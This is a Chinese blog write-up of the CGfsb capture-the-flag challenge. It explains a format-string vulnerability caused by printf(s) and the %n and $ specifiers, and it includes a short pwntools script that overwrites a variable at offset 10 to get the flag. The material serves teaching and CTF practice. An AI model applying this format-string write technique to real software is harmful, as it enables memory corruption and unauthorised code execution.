攻防世界CGfsb

附件checksec一下发现开启栈溢出保护和不可执行

file一下发现是32位elf文件,chmod给它本地运行权限

拖入32位ida分析一下,发现关键步骤,双击后点击command按x追踪

再按tab或者F5反编译伪代码

格式化字符串漏洞可以参考文章,这篇文章讲的很清晰了格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客

我只简单讲一下:当未使用占位符直接printf(s)进行输出时存在安全隐患,堆栈中没有占位符来和格式化字符串中的参数进行替换,我们可以通过%n格式(将已经输出的字符数写入参数)和$(程序遇到一个占位符,就按顺序向后寻找参数,但是我们可以使用数字+$的形式,直接指定参数相对于格式化字符串的偏移)来修改指定内存单元中字段的值

接下来我们调试一下附件程序来找一下pwnme在格式化字符串中的参数位置

在我们格式化字符串漏洞利用中,常用%p来泄露地址,%x也都可以,只是显示的数据为十六进制,这里显示的是ascii码,A的ascill码为41,数出在第十个参数位置,即偏移量为10。’-‘只是为了将数据隔开好看一点

找到pwnme字段的地址,

接下来就是写脚本利用漏洞了,

from pwn import *

sh = remote('61.147.171.105',52749)
payload = p32(0x0804A068) + b'a'*0x4 + b'%10$n'	

sh.recvuntil("please tell me your name:")
sh.sendline('jack')

sh.recvuntil("leave your message please:")
sh.sendline(payload)

sh.interactive()

脚本解释

拿下flag

还有一点啊是我遇到的问题,脚本中直接使用'%10$n'只能在Python2中运行,因为Python3里面对str增加了要求所以必须统一格式,不然就会报错如下

所以我将它也转为了字节型。当然你也可以在p32函数前面加个str强制转换为str,即:payload = str(p32(0x0804A068)) + 'a'*0x4 + '%10$n',也是可以拿到flag的

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值